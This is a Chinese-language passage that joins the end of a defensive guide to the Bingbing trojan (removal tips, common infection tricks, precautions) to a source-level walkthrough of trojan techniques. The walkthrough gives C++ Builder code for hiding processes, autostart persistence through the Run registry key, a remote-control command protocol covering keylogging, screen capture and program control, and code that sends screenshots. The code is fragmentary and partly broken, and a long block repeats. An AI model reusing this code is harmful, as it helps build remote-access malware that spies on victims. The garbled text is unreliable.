  b.在$#@60;我的电脑>-查看-文件夹选项-文件类型中编辑<   c.按住SHIFT键的同时鼠标右击任何一个TXT文件,选择打开方式,选中$#@60;始终用该程序打开......>,然后找到notepad,点一下就OK了。(这个最简单,推荐使用)
  黄鑫:"我...我笑不起来了 :( "
  提醒一下,对于木马这种狡猾的东西,一定要小心又小心,冰河是和txt文件关联的,txt打不开没什么大不了,如果木马是和exe文件关联而你贸然地删了它......你苦了!连regedit都不能运行了!

  5.杀病毒软件
  之所以把杀病毒软件放在最后是因为它实在没有太大的用,包括一些号称专杀木马的软件也同样是如此, 不过对于过时的木马以及菜鸟安装的木马(没有配置服务端)还是有点用处的, 值得一提的是最近新出来的ip armor在这一方面可以称得上是比较领先的,它采用了监视动态链接库的技术,可以监视所有调用Winsock的程序,并可以动态杀除进程,是一个个人防御的好工具(虽然我对传说中“该软件可以查杀未来十年木马”的说法表示怀疑,嘿嘿,两年后的事都说不清,谁知道十年后木马会“进化”到什么程度?甚至十年后的操作系统是什么样的我都想象不出来)

  另外,对于驱动程序/动态链接库木马,有一种方法可以试试,使用Windows的"系统文件检查器",通过"开始菜单"-"程序"-"附件"-"系统工具"-"系统信息"-"工具"可以运行"系统文件检查器"(这么详细,不会找不到吧? 什么,你找不到! 吐血! 找一张98安装盘补装一下吧), 用“系统文件检查器”可检测操作系统文件的完整性,如果这些文件损坏,检查器可以将其还原,检查器还可以从安装盘中解压缩已压缩的文件(如驱动程序)。如果你的驱动程序或动态链接库在你没有升级它们的情况下被改动了,就有可能是木马(或者损坏了),提取改动过的文件可以保证你的系统安全和稳定。(注意,这个操作需要熟悉系统的操作者完成,由于安装某些程序可能会自动升级驱动程序或动态链接库,在这种情况下恢复"损坏的"文件可能会导致系统崩溃或程序不可用!)


五、狡诈篇(只要你的一点点疏忽......)
  只要你有一点点的疏忽,就有可能被人安装了木马,知道一些给人种植木马的常见伎俩对于保证自己的安全不无裨益。
1.网上“帮”人种植木马的伎俩主要有以下的几条
   a.软哄硬骗法;
   这个方法很多啦, 而且跟技术无关的, 有的是装成大虾, 有的是装成PLMM, 有的态度谦恭, 有的......反正目的都一样,就是让你去运行一个木马的服务端。
   b.组装合成法
   就是所谓的221(Two To One二合一)把一个合法的程序和一个木马绑定,合法程序的功能不受影响,但当你运行合法程序时,木马就自动加载了,同时,由于绑定后程序的代码发生了变化,根据特征码扫描的杀毒软件很难查找出来。
   c.改名换姓法
   这个方法出现的比较晚,不过现在很流行,对于不熟练的windows操作者,很容易上当。具体方法是把可执行文件伪装成图片或文本----在程序中把图标改成Windows的默认图片图标, 再把文件名改为*.jpg.exe, 由于Win98默认设置是"不显示已知的文件后缀名",文件将会显示为*.jpg, 不注意的人一点这个图标就中木马了(如果你在程序中嵌一张图片就更完美了)
   d.愿者上钩法
   木马的主人在网页上放置恶意代码,引诱用户点击,用户点击的结果不言而喻:开门揖盗;奉劝:不要随便点击网页上的链接,除非你了解它,信任它,为它死了也愿意...(什么乱七八糟呀)

2. 几点注意(一些陈词滥调)
  a.不要随便从网站上下载软件,要下也要到比较有名、比较有信誉的站点,这些站点一般都有专人杀马杀毒;
  b.不要过于相信别人,不能随便运行别人给的软件;
(特别是认识的,不要以为认识了就安全了,就是认识的人才会给你装木马,哈哈,挑拨离间......)
  c.经常检查自己的系统文件、注册表、端口什么的,经常去安全站点查看最新的木马公告;
  d.改掉windows关于隐藏文件后缀名的默认设置(我是只有看见文件的后缀名才会放心地点它的)
  e.如果上网时发现莫名奇妙地硬盘乱响或猫上的数据灯乱闪,要小心;
 (我常常会突然关掉所有连接,然后盯著我的猫,你也可以试试,要是这时数据传送灯还在拼命闪,恭喜,你中木马了,快逃吧!)

六、后记
  这篇文章的问世首先要感谢冰河的作者-黄鑫,我对他说:“我要写篇关于冰河的文章”,他说:“写呗”,然后就有了这篇文章的初稿(黄鑫:“不是吧,你答应要用稿费请我吃饭的,不要赖哦”),随后,黄鑫给我提了很多建议并提供了不少资料,谢谢冰河。
  其次是西祠的yagami,他是公认的木马专家,在我写作期间,他不仅在木马的检测、杀除方面提出了不少自己的看法,还给我找来了几个木马的源代码作为参考,不过这个家伙实在太忙,所以想看《特洛伊木马看过来》的朋友就只有耐心地等待了。
  第三个值得一提的家伙是武汉人,我的初稿一出来,他就忙不迭地贴出去了,当时我很狼狈,只能加紧写,争取早日完成,赶快把漏洞百出的初稿换下来,要不然,嘿嘿,估计大家也要等个一年半载的才能看到这篇文章了。
  这篇文章的初稿出来以后,有很多朋友问:为什么不用C++,而要用VB来写木马的源码说明呢?呵呵,其一是我很懒,VB比 VC要容易多了,还不会把windows搞死机(我用VC写程序曾经把系统搞崩溃过的:P);其二,本文中能用API的,我基本上都用了,VB只是很小的一块, WINAPI嘛,移植起来是很容易的;其三,正如我前面强调的,本文只是对木马的结构和原理进行一番讨论,并非教人如何编写木马程序,要知道,公安部已经正式下文:在他人计算机内下毒的要处以刑事处分。相比而言,VB代码的危害性要小很多的(如果完全用VB做一个冰河,大概要一兆多,还不连那些控件和动态链接库文件,呵呵,这么庞大的程序,能 悄 悄 地在别人的机子里捣鬼吗?)
  最后,作为冰河的朋友,我希望大家能抱著学术的态度来看这篇文章,同样能抱著学术的态度来看待冰河木马,不要用冰河做坏事,我替黄鑫先谢谢你了!(监视自己的女朋友不算,不过冰河不会对因为使用冰河导致和女友吵架直至分手负任何责任)


近年来, 黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行 源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。

1、木马程序的分类

木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。

2.木马程序的隐藏技术

 

木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。

说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

  进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

  服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。

  想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

  伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

 

  出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
    try
    {
    DWORD dwVersion = GetVersion();  //取得Windows的版本号
        if (dwVersion >= 0x80000000)     // Windows 9x隐藏任务列表
        {
           int (CALLBACK *rsp)(DWORD,DWORD);
          HINSTANCE dll=LoadLibrary("KERNEL32.DLL");  //装入KERNEL32.DLL
          rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");  //找到RegisterServiceProcess的入口
          rsp(NULL,1);  //注册服务
          FreeLibrary(dll);  //释放DLL模块
        }
    }
    catch (Exception &exception)  //处理异常事件
    {
//处理异常事件
    }
    return 0;
}

3、程序的自加载运行技术

 

  让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:

  自装载部分:

HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PName
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//",
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
NULL,
&hkey,&k);
 RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if (int(ShellExecute(Handle,
"open",
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))>32)
{
 WantClose=true;
        Close();
}
else
{
    HKEY hkey;
    unsigned long k;
    k=REG_OPENED_EXISTING_KEY;
    long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length());
int num=0;
char str[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD  vl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl);

if (strcmp(str,"BGroup")==0)
{
        DeleteFile(AnsiString(strv));
        RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
        break;
  }

 

}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
}

自装载程序的卸载代码:

int num;
char str2[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORD  vl=254;
DWORD Suc;
do{
    Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,
str,
NULL,
&type,
strv,
&vl);
      if (strcmp(str,"BGroup")==0)
{
            DeleteFile(AnsiString(strv));
            RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
            break;
      }
}while(Suc== ERROR_SUCCESS)

HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
 RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,
&k);
do{
    Suc=RegEnumValue(hkey,(DWORD)num,str,    if (strcmp(str,"BackGroup")==0)
{
        DeleteFile(AnsiString(strv));
        RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
        break;
}
}while(Suc== ERROR_SUCCESS)
RegCloseKey(hkey);

其中自装载部分使用C++ Builder可以这样写,会比较简化:

TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software//Microsoft//Windows//CurrentVersion//Run",true);
if(!regKey.ValueExists("Interbase Server"))
{
regKey.WriteString("Interbase Server",
"D://Program Files//Borland//IntrBase//BIN//ibserver.exe");
}
regKey.CloseKey();
delete ®Key;

4、木马程序的建立连接的隐藏 align="right" marginwidth="0" marginheight="0" src="http://images.chinabyte.com/adjs/iframe-pip/y-software-pip.html" frameborder="0" width="360" scrolling="no" height="300">

  木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

C:/Documents and Settings/bigball>netstat -n

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    192.0.0.9:1032         64.4.13.48:1863        ESTABLISHED
  TCP    192.0.0.9:1112         61.141.212.95:80       ESTABLISHED
  TCP    192.0.0.9:1135         202.130.239.223:80     ESTABLISHED
  TCP    192.0.0.9:1142         202.130.239.223:80     ESTABLISHED
  TCP    192.0.0.9:1162         192.0.0.8:139          TIME_WAIT
  TCP    192.0.0.9:1169         202.130.239.159:80     ESTABLISHED
  TCP    192.0.0.9:1170         202.130.239.133:80     TIME_WAIT

C:/Documents and Settings/bigball>netstat -a

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    Liumy:echo             Liumy:0                LISTENING
  TCP    Liumy:discard          Liumy:0                LISTENING
  TCP    Liumy:daytime          Liumy:0                LISTENING
  TCP    Liumy:qotd             Liumy:0                LISTENING
  TCP    Liumy:chargen          Liumy:0                LISTENING
  TCP    Liumy:epmap            Liumy:0                LISTENING
  TCP    Liumy:microsoft-ds     Liumy:0                LISTENING
  TCP    Liumy:1025             Liumy:0                LISTENING
  TCP    Liumy:1026             Liumy:0                LISTENING
  TCP    Liumy:1031             Liumy:0                LISTENING
  TCP    Liumy:1032             Liumy:0                LISTENING
  TCP    Liumy:1112             Liumy:0                LISTENING
  TCP    Liumy:1135             Liumy:0                LISTENING
  TCP    Liumy:1142             Liumy:0                LISTENING
  TCP    Liumy:1801             Liumy:0                LISTENING
  TCP    Liumy:3372             Liumy:0                LISTENING
  TCP    Liumy:3389             Liumy:0                LISTENING
  TCP    Liumy:netbios-ssn      Liumy:0                LISTENING
  TCP    Liumy:1028             Liumy:0                LISTENING
  TCP    Liumy:1032             msgr-ns19.msgr.hotmail.com:1863  ESTAB
  TCP    Liumy:1112             szptt61.141.szptt.net.cn:http  ESTABLI
  TCP    Liumy:1135             202.130.239.223:http   ESTABLISHED
  TCP    Liumy:1142             202.130.239.223:http   ESTABLISHED
  TCP    Liumy:1162             W3I:netbios-ssn        TIME_WAIT
  TCP    Liumy:1170             202.130.239.133:http   TIME_WAIT
  TCP    Liumy:2103             Liumy:0                LISTENING
  TCP    Liumy:2105             Liumy:0                LISTENING
  TCP    Liumy:2107             Liumy:0                LISTENING
  UDP    Liumy:echo             *:*
  UDP    Liumy:discard          *:*
  UDP    Liumy:daytime          *:*
  UDP    Liumy:qotd             *:*
  UDP    Liumy:chargen          *:*
  UDP    Liumy:epmap            *:*
  UDP    Liumy:snmp             *:*
  UDP    Liumy:microsoft-ds     *:*
  UDP    Liumy:1027             *:*
  UDP    Liumy:1029             *:*
  UDP    Liumy:3527             *:*
  UDP    Liumy:4000             *:*
  UDP    Liumy:4001             *:*
  UDP    Liumy:1033             *:*
  UDP    Liumy:1148             *:*
  UDP    Liumy:netbios-ns       *:*
  UDP    Liumy:netbios-dgm      *:*
  UDP    Liumy:isakmp           *:*

但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:

 

 



网络层次结构图

  5、发送数据的组织方法

  关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

typedef struct{       //定义消息结构
//char ip[20];
char Type;    //消息种类
char Password[20];    //密码
int CNum;          //消息操作号
//int Length;    //消息长度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//对话框数据包定义:Dlg_Msg_Type.h
//-------------------------------------------
//定义如下消息类型:
#define MsgDlgCommon 4//连接事件
#define MsgDlgSend 5//发送完成事件
//消息结构
typedef struct{
        char Name[20];//对话框标题
        char Msg[256];//对话框消息内容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度

//------------------------------------------
//聊天数据包定义:Chat_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgChatCommon 0//连接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//结束事件
#define MsgChatReceived 16//确认对话内容收到
//消息结构
typedef struct{
 char ClientName[20];//Client自定义的名称
 char Msg[256];//发送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息单元长度

 

//------------------------------------------
//重启数据包定义:Reboot_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgReBoot 15//重启事件

//------------------------------------------
//目录结构请求数据包定义:Dir_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目录名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)

// TCP的Msg
typedef struct{       //定义消息结构
char SType;    //消息种类
char SPassword[20];    //密码
//int SNum;             //消息操作号
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)

#define MSGListProgram  19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey  23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp请求消息
#define MSGCopyWindow 26

//-------------------------
//鼠标指针隐藏和显示控制
//-------------------------
#define MsgSetMouseStat 27//设置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

//-------------------------
//任务栏隐藏和显示控制
//-------------------------
#define MsgSetTaskBarStat 29//设置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow;
}MsgSetTaskBarStatUint;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

 

 

//-------------------------
//得到机器名
//-------------------------
#define MsgGetNetBiosName 31//取请求
#define MsgNetBiosName 32//回送机器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

//-------------------------
//关闭进程变更!
//-------------------------
#define MsgSetProgramClose 33//关闭请求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

//-------------------------
//打开进程变更!
//-------------------------
#define MsgSetProgramOpen 20//打开请求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096];       //old struct : char ProgramName[128];//要打开的程序的名字
bool ProgramShow;//前台运行或后台运行程序(隐藏运行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

  上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum  为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

 

 

Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="机器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}

当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}

此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

 

 

#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后执行:
//另外:接收到的数据包中分析出 Dnum ,Qlity
//Dnum:偏移观测点数量
//Qlity:图象要求质量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只执行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
//DNum: 偏移量 Qlity:图象质量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}

int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}

 

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。

 

 

//-------------------------
//得到机器名
//-------------------------
#define MsgGetNetBiosName 31//取请求
#define MsgNetBiosName 32//回送机器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

//-------------------------
//关闭进程变更!
//-------------------------
#define MsgSetProgramClose 33//关闭请求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

//-------------------------
//打开进程变更!
//-------------------------
#define MsgSetProgramOpen 20//打开请求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096];       //old struct : char ProgramName[128];//要打开的程序的名字
bool ProgramShow;//前台运行或后台运行程序(隐藏运行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

  上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum  为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

 

 

Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="机器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}

当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}

此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

 

 

